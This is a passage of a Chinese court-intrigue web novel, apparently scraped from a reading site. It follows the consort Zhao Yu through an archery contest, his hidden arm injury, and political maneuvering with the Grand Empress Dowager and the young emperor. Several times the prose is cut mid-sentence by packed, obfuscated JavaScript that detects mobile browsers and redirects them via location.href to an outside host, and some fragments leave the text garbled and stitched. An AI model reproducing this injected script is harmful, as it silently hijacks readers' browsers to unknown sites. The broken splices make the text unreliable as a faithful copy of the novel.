听凤君这样说,那事情就是没有转圜的余地了。演武司监咬了咬牙,只好摆手叫武弁快去,自己脸上赔了笑:“臣十六岁的时候,也曾试过六斗硬弓,但憋红了脸都没能拉开,反而重伤了胳膊,受了好大的一通嘲笑,气得差点掉了泪珠子。如今臣已经四十二岁,想来连十六岁时得力气都不如了。” 不过编个故事,叫他觉得拉不开弓也不用觉得丢面子,想让他如之前承诺的那般换张弓罢了。赵煜轻哂一下。 不过他要拉六斗弓,射百步的靶子,不是自信自己不会为此所伤,而是即使知道自己一定会受伤,但只要能达成目的,就算伤了又有何妨呢? 赵煜没拆穿她,倒是调侃了一句:“那司监今年拉不开弓,还哭鼻子吗?” 演武司监听着凤君好心情的挤兑,一时笑也不是,愁也不是,脸都快扭曲了:“臣这把年纪,眼泪都快流干了。” 赵煜笑笑,抬手接过武弁呈上来的六斗角弓,随手一拉,果然觉得有些费劲。 他眯了眯眼睛,却并不退缩,而是取了一支箭,搭在弓弦上,并未把弓拉满,先试了八十步的靶子一箭。 箭急射出去,距箭靶还有五步之远,而箭势已衰,已然坠地。报靶人无措地张了张嘴,不知道要不要报出成绩。 演武司监赶紧说道:“殿下,不如换一张长弓?这把弓久没有人使用,弓弦有些老化,怕是影响了力道。” “急什么。”赵煜收回了手,漫不经意道。这么一试,他便试出了这具身体的力量到底如何,心底有了数。 虽然勉强,但不是完全不能做到。 “开始吧。”他吩咐司射道。 司射觑了演武司监一眼,不知道如何是好。演武司监一咬牙——不管了!凤君非要强来,难道还要抱住殿下的大腿哭谏不成?总归要不了人命,太皇太后怪罪下来,大不了——唉! 见马司监这副模样,司射也懂得了自家上司的意思,深吸了一口气,缓缓抬起手臂。 “殿下。”赵璇忽然开口道。 赵煜嘴角一牵,侧过脸来看她。 “臣不知道殿下的箭术究竟如何。”赵璇默了默,道,“但请殿下量力而行。” 尽管她和赵煜并不熟络,但两人到底是血缘相近的表姐弟,血浓于水。即使观念不和,也不希望赵煜因为逞一时之能而伤及自身。 “我不熟悉赵校尉,赵校尉也不熟悉我。”赵煜眉眼一扬,笑道,“怎么,不是不想和赵家人有牵扯吗?为何又关心起我来了?” 他这话丝毫没有避讳旁人,演武司监几个听了,都是惊讶地望了赵璇一眼。赵璇绷了绷脸,不再说话了。 赵煜回过身,重新举弓,双眸专注,牢牢地锁在了百步处的箭靶之上。 此时他的神情敛去了全部的笑意,真的也好假的也罢,目光只剩下那渺渺的一个红点。上面已经中了一箭,正是李笙所射。 司射举手:“准备。” 赵煜的呼吸平稳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15110235|163911||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 至极,左手稳如磐石,右手缓缓拉弦,弓弦在掌心勒出一道深刻的红痕,指尖因用力而微微发白。此时,人声、风声、呼吸声皆已远去,天地之间,只剩一人、一弓、一箭、一靶。只眼神锋锐如鹰,将弓弦、箭矢和靶心三点精准连成一线,又依据身体姿势、拉弓力度和风向,将射箭角度微微调整至左下。 不需他再多说,赵璇几人已隐隐察觉了其中的门道,不由屏气凝神,紧紧地盯住赵煜的动作。 赵煜射箭,从不以力气见长,而是以技巧取胜。他是君主,是帝王,手下多少箭穿七札,力能扛鼎的猛将,无需逼迫自己在每件事上都做到极致。若他样样都要强,事事都要拔尖,他网罗人才做什么?要朝廷的官员做什么? 只是始终记得十二年那年,他被父母丢进陌生的军营。有人敬他,敬的是他身上留着当今皇帝的血脉;有人恶他,恶他是天潢贵胄,拿将士的军饷穿着锦衣玉带;也有人轻视他,轻视他身为嫡长子,却遭到皇帝和母后的厌恶,捞不到皇太子的位置不说,简直堪称是流放军营。 兵营中有一个小将,是后宫一位宠妃的亲弟弟,年龄与赵煜相仿。他明面上自然不敢对皇长子做什么,但那些隐晦的手段和小动作却从未停过。在赵煜的弓箭或马具上动手脚,让他在训练中出丑;暗地里挑拨他和其他将领的关系,让他在兵营中孤立无援;又或是用言语挑衅,试图逼他在情绪上失控。 那天秋高天爽,朗朗乾坤,他知道赵煜就在身后,故意嘲笑起他天生薄幸,不得父母的喜欢:“皇后恐怕恨不得没有生下过他,只有九皇子一个孩子……” 赵煜这一生中拥有过很多张弓。皇室不会短了他的用度,别的皇子有的,他也会有一份,可他从来没有过唯一的、特殊的。那天他手中拿的弓,是他左右没有事情做,自己一个人打磨而成的。 他拉开了那张弓,一箭过去,从那人的左耳射穿到他的右耳;后来也是拿着一张弓,逼宫之夜,一箭射下了太上皇的冠冕。 从那时到现在都是一样的,他握住了弓,就像掌控住了自己的生命。 赵煜淡淡地收回思绪,随着司射“放”的声音落下,毫不犹豫,一箭射出。 14. 赵煜受伤 百步之靶,上面原本就有两支箭矢,一支中鹄,一支三鹄。赵煜放箭射出后,上面仍然只有两支,同样一支中鹄,一支三鹄。地面上正多了一支箭。 但那支箭并不是赵煜的,而是李笙的。 众人瞠目结舌,无法言语。原来方才赵煜那一箭离弦,箭发如虹,带着凌厉无比的破空之势,只听一声清脆的“叮”响,箭矢竟精准无误地重重撞上了李笙那支的箭头。力道之大,位置之精妙,竟硬生生将对方的箭震得猛地从靶心上弹起,赫然坠地! 靶场不由得一时寂静。百步靶上,那正中央的一箭尾羽仍在微微颤动着。报靶人微微张嘴,声音都带上了颤意:“中,中的!” 若不是射箭之人乃是凤君殿下,那此刻靶场上定然满是由骂声表达的叫好声。多少人憋了又憋,才涨红了脸,吐出稍文雅的一句:“我滴个乖,殿下的箭术也未免太神了!”尚且有些回不过神,简直想直冲到箭靶前去看个究竟。 演武司监一时惊得想不出奉承之语,不敢置信地看了看赵煜。只见对方稳稳地收了手,手臂不见丝毫的颤抖,脸上的表情更没有一丝的波动。只偏过头去,问赵璇一句:“赵校尉现在以为,我的箭术如何?” 赵璇微微吸了一口气,才定下神来,声音沉了下来:“殿下的箭术,神乎其神。” 赵煜却又问道:“那赵校尉以为,现在我有资格教训了你吗?” 赵璇一顿,不知如何回答。不知对方还想如何教训自己,再说她一句“的确不堪大用”吗? 演武司监都被这两个人搞糊涂了,什么教训不教训的,殿下要训斥赵校尉,何必需要跟她比射箭?直接问罪不就好了。 “看来还是不服啊。”赵煜扬眉一叹,又重新举起了弓。旁人不懂他为何还要再射,难道还想要再击落一次靶心的箭吗? 赵煜自然心中清楚,他现在身为赵氏出来的凤君,而赵璇却刚脱离了赵家,欲和家族划清界限。在这种情况下,决不能用地位和权势再去压她。 只有狗才会被打怕,但天子麾下,要一条狗做什么? 赵煜从容地再度拉弓,动作比刚才还要游刃有余。但其实早在他第一次强行拉弓时,肩膀就已经弥漫开来一股剧烈的撕扯感,此时更是阵阵酸痛,难以言喻,而手臂和手腕更不必多说。但面上毫无异色,依旧云淡风轻。 司射连忙又举起了手:“准备。” 士卒已经激动议论开来,好奇刚才凤君的那一箭到底是不是巧合,真的有男子能够一举射中百步之遥的靶心吗? 而这一箭,凤君又会射到哪里? 赵煜挽满了弓,动作定住。众人狠狠屏息,司射道:“放!” 弓身紧绷如满弦,又瞬间恢复形状。箭矢破空之声尖锐刺耳,如长虹贯日,却不是直奔靶心,而是指向三鹄之处——那里正插着赵璇先前所射之箭。在众人震惊的目光之下,第二箭不偏不倚,正正地射穿先前那支箭的箭羽,立刻就将前者的箭杆从头到尾劈成了两半。 “啪嗒”一声,百步之外,两截断箭落在地上的声音轻巧无比,可落在靶场所有人的耳朵里,却又无比清晰。 现在箭靶之上,唯独剩下赵煜正中靶心的第一箭。寒风轻拂,箭尾在风中微微颤着,同样颤在了众人的心里。 这是何等的技艺?两箭下来,惊得所有兵将连欢呼声都卡在了嗓子眼里,半响,才爆发出震耳欲聋的惊叹声。很多人不住地向身旁的人确认:“真的吗?凤君真的把两支箭都射下了?” 哪有人回答,众人眼睛都死死盯着箭靶,挪不开半分,连自己嘴里在大喊什么都浑然不觉,只觉得亢奋、发懵,浑身的血液都涌到了脑袋上。 赵煜面色自若地放下弓,垂手时有些控制不住的脱力,但被他完全掩饰住了,只是挑眉笑道:“怎么,赵校尉,还要我再射一箭吗?” 赵璇已经语塞,半天才摇了摇头,哑声道:“……殿下的箭术,臣心服口服。” 赵煜抬手,示意武弁接过他手中的弓,浅笑一声,负起手来:“那现在,你还奇怪你母亲怎么不看好你吗?” 赵璇无言以对,脑海里反复回想着赵煜刚才那惊心动魄的两箭,仿佛自己的志气和尊严都随着那支断落在地的箭矢一起也零落了。 哪怕心中疼痛难耐,也只能咬紧牙关,低声道:“臣的确难当大任。” 赵煜嘴里却溢出了一声嗤笑,问她道:“只射箭射得好,就能当起大任了吗?” 赵璇有些怔愣地抬头。赵煜侧了一下眼,示意演武司监把人群疏散开,士卒正在兴头上,胆子愈大,拖拖拉拉不想走,马司监挨个抽过去,才怏怏地吃痛着离开了。 赵璇不知道赵煜问的这句是什么用意,答不上话。赵煜浅笑一声,换回了之前亲近的称呼:“表姐,我今天来不是为了赵家教训你,也不是想来和你联络感情。” 赵璇有些疑惑地抬起眼眸。 “你刚才射箭,输了李笙,又输了我,心中是什么感受?”赵煜问道。 赵璇默了一下,道:“臣惭愧。” “我先前说你不堪大任,你虽然嘴上说惭愧,可看你的眼神,谁能看得出来你其实并不服。”赵煜轻轻摇了摇头,“待我射箭之后再问你,你却自己说出了自己‘难当大任’。” 赵璇只能说:“的确是臣输了。” 赵煜却开口道:“这就是姨母为什么对你失望。” 赵璇手指一蜷。 后面那些话就是她们这些外人不便听的了,演武司监本想找个由头撤走,但不见赵煜有任何示意,只好眼观鼻,鼻观心,权当自己是个聋子。 “她对你失望,不正是因为你时时刻刻都在对自己失望吗?”赵煜负手,看着她,“拿射箭一说,立射、跪射、弋射、骑射、车射……种类繁多。我不过在立射上赢了你,便说自己有资格教育你。可其他的类目呢,都不算数了?除了箭术,骑术,谋略,兵法呢?” 赵璇眼神一动,赵煜微微摇头:“况且以你立射的成绩,马司监都赞不绝口,你却惭愧失落,眼神立刻黯淡。连自己都不看好自己,又凭什么让姨母放心你呢?怕是唯有将你纳在她的羽翼之下,方能觉得安心罢。” 赵璇嗓子发干,难以言语。赵煜看着她的神情,就知道她必然被触动了。 儿女渴求父母肯定的眼神,赵煜见过太多次了。赵璇虽然一心想要挣脱赵家的束缚,但赵煜一眼就能看出,她对赵婧的感情,是畏,但也敬。 威从不能真正使人臣服,只有攻心。 “姨母脾气冷,心里想什么,从来都不说。”赵煜已经猜测到,问道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15115180|163911||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,“表姐也是一个锯嘴葫芦,那天和姨母吵架,怕是第一次顶撞姨母吧?” 赵璇被猜中了情况,抿了抿唇:“……是。” “母女之间,或许有些话早就应该说出口,却自始至终从没有说清过。”赵煜叹了一句,又转头看向演武司监,“倒真是亲母女,嘴巴一个比一个闭得严实。表姐来到演武场,恐怕也是嘴上不说,但心中一直倍感压力吧。” 赵璇不知道如何作答。演武司监忙道:“赵校尉没有进入军营训练过,就有这样的好身手,足以看出是真心喜爱从武。” 这便是认可了她的身份了。赵璇动了动唇,知道赵煜和她比试,除了要点醒她,更是为了叫他第一天就展现实力,一时心情复杂。 赵煜看到赵璇的眼神,心中满意,知道这便是收服赵璇完成一半了。不宜操之过急,转头说起:“表姐和李笙今天也算是因比武结缘,我看李笙这样俊的身手,当个马夫实在可惜。不如跟着赵校尉,做一个署理。” 李笙一直默默站在后面,闻言一怔。演武司监一愣之后便是欣喜,殿下没有追问李笙的身份,轻易就叫她跟了赵璇,倒真是虚惊一场,大喜临头。 她急忙捅了捅赵璇:“还不快谢恩?” 赵煜这双眼睛看过多少人,忠臣,奸臣,卧底,刺客,怎么会分辨不出李笙这个人并不是什么普通角色?把她放在赵璇身边,也好一起看着。笑道:“赵校尉在演武场,还是要多多仰仗李署理了。” 李笙只能道:“殿下言重了。” 说了一圈,总算把事情都理清了。赵煜胳膊也有些支撑不住了,便要离开,赵璇上前一步。 “不用送了。”赵煜好笑道,“不是跟我说刚领了官服,才看过靶场吗?表姐日理万机,我还是不叨扰了。” 赵璇面上一窘,耳朵微微一红。 几个宫侍和仪轿都在演武场大门外候着。演武场里头全是年轻活泼,英气勃勃的适龄女子,承光几个都是未成人未成婚的少年,就是再老成,进去难免觉得有些羞窘,浑身不自在。 赵煜懒得看他们脚步都情不自禁迈小了的模样,索性他要和赵璇谈话,便没叫他们跟进来。 几个人等了半个时辰,又时不时听见遥遥而又猛烈的叫好声,心里早就好奇了。但见凤君终于从里头出来,要扶殿下上轿时,却见凤君不曾抬手,双臂不自然地下垂。 承光最先发现异样,吓得脸色微微一白:“殿下?” 赵煜瞥了他一眼,他没敢继续说下去,只好把话咽了回去,一路担忧又惊惧地回到了凤仪宫。 赵煜的双臂已经完全抬不起来了,轻微一动便剧痛无比。急得几个宫侍红了眼眶,差点要哭,赶紧给赵煜脱衣上药。 明夷急急道:“殿下,奴才还是去咸乐宫一趟。去年有外族进献了上好的药物,缓解肌肉酸痛最好,陛下每次练武后都会用。” 赵煜并不想让皇帝知道,否道:“不用了。”便要穿衣。 明夷知道他的意思,劝道:“殿下,即便您不想让陛下知道您在演武场受了伤,可明日您就要和陛下同去长春宫请安,现如今只剩不到一天,手臂怎么恢复得好?陛下难免会看出端倪,还不如早些去治。” 赵煜皱眉,微微坐直了身体。怎么,皇帝明日也会去长春宫? 15. 拉媒保纤 燕朝之制,按月分为三旬,每旬十日,即上旬、中旬、下旬。每旬之首定为正朝,议决军国重事;其余时日则为常朝,由皇帝决定,并无定例。 凤君要于初一、十五去太皇太后宫中请安,是辰时;皇帝于初一、十一、二十一大朝会,为巳时。 做皇帝的,居然还需要饿着肚子先到长春宫请安,再用早膳,紧接着又赶到御正殿临朝? 赵煜不想用皇帝的药,一是本性使然,不想对上位者示弱,更不想暴露自己的真正身手;二是皇帝现在明显盯上了演武场,他不想让对方有机会借题发挥。 这具身体与赵璇的关系并不融洽,皇帝却明里暗里叫他去探望对方,只可能是想要进一步加剧赵璇想要脱离赵家的决心。而皇帝也未必是真的相信赵璇淡泊名利,是赵家人中的清流。但赵璇到演武场赴任,不会给赵家带来任何的增益;赵璇被赵婧强压着请辞,为了安抚皇帝的颜面,大有可能把位置腾给皇帝的人。 左右都对皇帝有利,称得上是一个堂而皇之的阳谋。还要算上这具身体如果和赵璇闹了矛盾,一个是赵家大房的嫡子,一个是赵家二房的嫡女,倒不知道赵家到底更看重哪个,赵家内部会出现什么状况。可谓一策三利。 赵煜估计以这个皇帝的眼力,他受伤之事明日恐怕难以逃过她的眼睛,何况还是他第一次面见太皇太后。 “不用去咸乐宫了,去太医署找个治跌打损伤的熟手。”赵煜思及此,便不再想隐瞒此事,但也不会蠢到亲自给皇帝递消息。 明夷见凤君逞强也没有办法,急忙去叫人了。赵煜简单地披上了一件衣服,靠在床头,额头终于有些控制不住地冒出一层冷汗。 这种伤,到底不敢叫太医来看,只好叫了一位平日帮太医正打下手的男侍医。他只偶尔会去给太妃们按按穴位,舒缓头痛疲劳,没有大的经验。给赵煜按摩的时候,心里有些发抖,手上力道有些控制不住。 赵煜没在意这些,等男侍医重新给他敷上了药物,身上的里衣都被浸透了,倒是许久不曾有这么狼狈的时候。换了一身干净的衣物,双手不能动,一时倒没有事情做,干脆叫承光几人轮流读邸报给他听。 到了午膳和晚膳,也并没有多 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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昨日倒也没有多大的风。赵煜嘴角勾起浅浅的弧度,说道:“多谢陛下关心。演武场比想象中有趣得多,便多待了一会儿。” 殷洛面色如常,好像不知道他说的到底是射箭有趣,还是射箭的人有趣。颔首赞同道:“演武场确实不错,朕也时常去那里练练。” 茶水热气腾腾,她微微拨弄了一下浮在表面的茶梗,勾了一下唇:“不过说起箭术,朕是远不如君后了。昨日君后那两箭的精彩,连外朝都有所耳闻。” 赵煜眉毛微微一挑,皇帝弯唇,状似调侃地道:“武略司监昨日还特意跟朕提起,侍卫亲兵该严加管教了,整日只会起哄喝彩是什么样子。回去非得把她们训得鬼哭狼嚎不可,免得堕了禁军的威名。” “倒是我连累她们了。”赵煜轻笑一声,道了一句,“禁军都是从官宦子女中选拔出来的,难免跳脱了些。” 殷洛莞尔一笑,不再说话。举杯抿了一口茶,掩去了唇边淡下来的笑意。 太皇太后辰时醒,皇帝和凤君自然要早早到,以表孝道,不可能让太皇太后等着他们来请安。 索性气氛静默不一会儿,就有太皇太后身边的人过来禀报:“见过陛下、凤君殿下,老祖宗醒了,让奴才请陛下和殿下到正殿偏厅用膳。” - 太皇太后赵氏,年五十有四。其妻燕文帝,在位十七年,四十而崩;其女燕仁帝,在位十一年,绵缠病榻四年,后三十一岁驾崩。 《燕纪通编》中记载:燕文帝崩殂后,赵氏以皇太君后之尊,辅弼冲龄之仁帝,总揽朝纲,安邦定国。仁帝抱疴缠绵之际,更是昼夜劬劳,躬亲理政,俾国事无废。 只史书中少了一句。赵煜面上不显地行了一礼——牡 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“他自幼带着先帝,情谊比谁都深。如今先帝去了,只想为先帝守陵,亲眼看着皇陵的最后一抔土安放妥当。” 皇帝沉吟一下,说道:“平陵修建的进度还是太慢了,到底是人手不够。朕预备叫工曹从各地征调民夫,以充劳力,确保皇陵如期竣工。” “先帝去得急,平陵修建未及五载,不怪工曹。”太皇太后微微摇头,“朝廷的正事最重要。近来礼曹工曹都忙于盐政,关乎国之根本,不必把精力都放在一些虚礼上。先帝仁慈爱民,不会乐意耗费国力在她的身后事上。” 皇帝欠身,自省道:“是孙儿思虑不周了。” 太皇太后略略点头,不再谈论此事,转向赵煜,说道:“君后也尝尝这小酥饼。你入宫得迟,从前也少有机会进宫。这小酥饼虽然不及她师傅的手艺,但也学到了七分精髓。” 赵煜一直等火什么时候烧到他头上来,听了这话也面色不改。他现在抬起手臂夹菜已是费力,勉强才能稳得住手腕,不至于失手将菜掉落,故而刻意避开了那小酥饼。 但也容不得他推拒,微微一笑,称了句“是”,举箸向其伸去。 殷洛轻笑道:“等陈师傅从平陵回来,君后一定要尝尝他的手艺。” 却见赵煜抬头将小酥饼夹至半空时,手腕突然脱力,筷子不由得一松,酥饼便瞬间从上面滑落了下来,掉在了桌面上。 殷洛和太皇太后不由都一顿,太皇太后眉心微蹙了起:“昨日你去演武场,竟然伤得这么厉害?” 赵煜面上歉疚地放下筷子,并不意外太皇太后的问话,说道:“一时兴起,高估了自己,让皇祖父担心了。不过已经叫人看过了,并没有什么大碍。” 太皇太后不赞同道:“什么都是虚的,只有身体最重要,不可逞强。” 赵煜欠身称是。 皇帝理解道:“君后和赵璇是表姐弟,从小一起在赵家长大。许久不见,难免会兴奋一些。” 太皇太后:“那也不该太胡闹,伤筋动骨一百善伤天。她比君后大四岁,竟然也由着君后折腾。” 赵煜眉梢一动,知道赵璇这一遭是无妄之灾。赵煜要比试,哪是她能拦得住的。何况,太皇太后不过是醉翁之意不在酒罢了。 果然听下一句太皇太后淡声道:“她这个性格,没管过人,也管不住人。不知道巡场校尉这个职责,能不能担得住。” 皇帝神色如常,一笑而过,语气轻松地说道:“谁不是从无到有呢?皇祖父也不要太过担忧了。表姐能拉开七斗弓,也必然能拉得开演武场的大门。” 赵煜之前就判断出,赵璇是皇帝和赵家争锋的一颗棋子,棋子上赶着往皇帝那边的棋笥跳,就算她是赵家的嫡女,也难免会被赵家抛弃。 看太皇太后的模样,看来已经是打算放弃赵璇了。世家大族出身的人,第一个学会的必然是要心狠。只看利益,不讲情分。 赵煜略一扬眉,忽然开口笑道:“昨天我看表姐,双目炯炯,神清气爽,即使一时遇到了坎坷,只要有这份志气,必定也会走得长久。” 皇帝眉梢微微一动,扫了他一眼。 太皇太后闻言,双眼看向了他:“哦?” 一个是年迈的太皇太后, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15133814|163911||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一个是年轻的皇帝。赵煜看得很清楚,他有什么资格和赵氏争权,也必定争不来。 皇帝初登大宝,势单力薄,正适合雪中送炭。他不会真的以为皇帝会信任他,但他帮助皇帝手中有了权,过程中也势必会增长自己的势力。 相互利用,不外乎是。 太皇太后缓缓咽了一口粥,语气如常:“说起来,昨日武略司和哀家打过招呼,说君后封了一个马夫做署理。” 皇帝不露声色。 “那马夫名叫李笙,虽然位置卑微,但身手不凡,箭术颇佳。”赵煜轻笑道,“表姐性格内敛,又人生地不熟,正需要提拔一个懂事的来帮助她。” 太皇太后微微眯了一下眼睛:“李笙……哪个‘笙’字?” 赵煜昨日见过李笙之后,虽没有叫奴才去调她的档案,但也是清楚一些基本信息的:“回太皇太后,是‘和乐且湛,鼓瑟吹笙’的笙,祖籍是河南沁阳人,年二十二。” “沁阳李笙……这描述倒让哀家想起了一个人。”太皇太后侧过头去,“皇帝还记不记得,明宣三年初有个案子?” 明宣三年,彼时殷洛七岁。皇帝略一回想,面上一凝:“皇祖父指的是?……” “明宣三年初,你正要受封皇太女之际。武略司监李享,暗中结党营私,意图左右储君之位,被先帝抄了家,流放岭南了。”太皇太后缓缓地问,“哀家记得,李享有个小女儿,好像就是叫做李笙?” 让一个罪臣之女做了马夫,倒不是什么罕见的事情。赵煜得知了李笙的真实身份,眼梢微微一动,也不必再多问些什么,只去看皇帝的反应。 皇帝略一思忖,说道:“朕知道有这个案子,但不记得李笙这个人。算起来明宣三年,是九年前了,不知道两人年龄对不对得上?” “去查。”太皇太后向旁边吩咐道,“若是真的,演武场不能留这么一个人。” 皇帝喝了一口茶,没说什么。 18. 三千大千世界 能让太皇太后时隔十年还记得住细节的案子,李家所涉的绝非是一条“怠慢职责,延误工期”这样在显处的过失。何况关乎黄河水利如此重大的事务,怎么会交给一个区区工曹主事来负责。 不过赵煜既然已经试出了李笙的确是皇帝的人,还把人从暗处摆到了太皇太后眼前,不必要再在此事上做什么文章。一个是年事已高、历经世事的太皇太后,一个是初登大宝、根基不稳的皇帝,赵煜清楚自己决没有那个资格和赵氏争权,也必定争不来权,反而皇帝此刻势单力薄,正适合有人雪中送炭。 再者,虽然赵煜提拔李笙是别有用心,但在众人眼中,他无疑是李笙的伯乐,把李笙从泥沼里捞了上来。所谓受恩不报,枉为人也,赵煜并不需要李笙十分的忠心,哪怕彼此只有面子情,他也有把握利用此事从对方身上,乃至皇帝身上拿取好处,就更不必在这个时候为难李笙。 “是儿臣的过错。”赵煜语气中多了几分歉疚不安,说道,“儿臣看李笙虽为马夫,但行事沉稳,颇有章法,便破例提拔了她,没想到中间牵扯出这么多的故事。” 但紧接着话锋一转,微微叹道,“不过即便李笙真是罪臣之后,有罪在身。但她儿时经历家族巨变,一朝从云端坠入尘埃,却丝毫没有自暴自弃,反而愈发坚韧不拔,百步可穿杨,难道不比那些养尊处优的官宦子弟更适合为官吗?又何必因父母之过,而埋没这颗明珠呢?” 太皇太后凝视着他:“君后倒是很喜欢这个李笙。” 赵煜笑了一下,面上自嘲道:“儿臣强拉了六斗弓之后,才明白拉七斗弓的不容易。”以玩笑的方式将理由掩饰了过去。 但尽管赵煜此举做出得突然,但说到底皇帝才是真正的天下之主,凤君所谓的能共治天下,在众人眼中也总带着一丝轻视,不会有那么多双眼睛盯着他。 皇帝不便于把李笙送到官位上去,于赵煜却是没有妨碍。一个署理,连品级都没有,太皇太后也用不着把他当作什么政敌看待。 半个月中,几件不大不小的事情,几个人都寥寥几语带过。或者说,真正的动作只会出现在暗处,而不是靠语言上的交锋,有些话自然不必多说。 等用罢了早膳,宫侍轻步上前,捧来温热的香汤。太皇太后接过丝帕擦手,边对赵煜说起:“再过几日,你叔叔从洛阳回来,应该会递牌子进宫看你。” 叔叔,这具身体父亲那边的亲眷?赵煜见这具身体的父亲入宫以来不曾探望过他,反倒来了一个亲戚,心中有了数,应了一声:“儿臣知道了。” “好了,既然没有其他要紧事,我也不再多留你们了。”太皇太后微微摆手,语气平和而温和,“皇帝今日还有大朝会,时辰不早了,尽早动身吧。君后这些日子也别轻易舞枪弄棒,免得加重伤势。各自回吧。” 赵煜和皇帝齐声道:“谢皇祖父关心,儿臣告退了。”随后躬身行礼,退出了大殿。 - 赵煜跟在皇帝身后一步,就要踏出长春宫的殿门。承光急忙抱着披风追着赵煜系上,昭侠则递上手捂,嘴里嘟囔着:“殿下您总嫌穿得累赘……” 此地的披风毛绒厚重,披上后整个人仿佛裹成了粽子。赵煜停下脚步,虽心生嫌弃,但还是由着他们打整。他刚受了伤,身体尚未恢复,状态不佳,免得再染上了风寒。 这么一停顿,皇帝本应早已走远,但当赵煜整理好衣物,抬眼望去却见对方竟也停住了脚步,正侧过脸朝他看来,不由得眉峰轻轻一挑。 皇帝等赵煜走近后,示意他与自己并肩而行,嘴上叹了一句:“看来君后今年运道不佳,开年就生了两场病,需得好好去去晦气。” 赵煜微微地一笑,道:“跌落谷底,说不定就时来运转了呢,多谢陛下关心。” 皇帝微微挑了挑嘴角,语气中带着几分提醒:“话说得不错。不过还是身体要紧,不能强求,需要把握好分寸。” 赵煜自然称是 短短几步路,二人也说不了什么话。待到了肩舆旁,两人这才分道扬镳。殷洛上了轿,手指轻轻支着下巴,脸上原本的笑容一点点地褪了去。 方娴走在肩舆右侧随侍。殷洛右手屈指敲了敲膝盖,目光微微沉凝,忽然问道:“方娴,你在国子监时,和君后有过接触吗?” 方娴稍作回忆,随即摇头道:“回陛下,奴才一直侍奉在您左右,并未与凤君殿下有过交集。” 殷洛眯了眯眼睛,一时没有说话。 明宣四年,殷洛七岁,受封皇太女。按照惯例,她本应一直在文渊阁接受专属的皇家教育,闭门苦读治国之道。然而先帝认为,皇太女若能与宗室子弟和朝臣子女同窗共学,更能体察世情百态,磨砺心性,培养包容与担当。治国之术固然重要,但学会与人相处之道同样紧要。于是,殷洛从十四岁入学到十六岁登基,一直待在国子监学习。期间,也的确在里面结识了一些志同道合的好友,为日后治国提前积累了一定的威望。 而赵煜身为赵家嫡长子,自然从刚入学起便备受瞩目。尽管两人并非同一届,而殷洛当时也忙于在学业与才情上展露锋芒,意气风发,但也不是不知道赵家来了这么一个人,和对方远远地打过几回照面,不知姓名地短暂有过一次往来。 不过那时的赵煜…… 殷洛回忆起这几回与他的交谈,愈发觉得上次惊觉对方变得陌生并非自己的错觉。如今的他远比印象中更沉稳,更深邃,也更锋芒锐利。 殷洛拧了拧眉,心中轻嘲。看来权力果真动人心。到了凤君这个位置,谁都不能免俗。 - 赵煜不想让别人察觉到他是异世的孤魂,但也无需畏首畏尾,整日把自己藏在壳里,大面上过得去,不露出致命的破绽,也已经足够了。 等到了凤仪宫,承光知道凤君用了肩膀,急忙又去太医署唤来男侍医揉捏筋骨,按摩敷药。赵煜被刺鼻的草药味熏得直皱眉,左右也无事做,想起还不知所谓的“礼佛”一事,开口吩咐道:“去找几本书来,我要礼佛。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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赵煜想到此处,顿时觉得眉头紧紧地皱了起来。说来他只信他是他,是唯一的人,是唯一注定要登上皇位睥睨天下之人,这具身体却被废被弃,是一个深宫的怨夫,怎么也不能和他相提并论。 此言荒谬。赵煜打断了宫侍的诵读,不愿意再听一通鬼扯连篇的话。想起来到此地已经十余天,倒没有召见过下面的属官,便派人去宣。 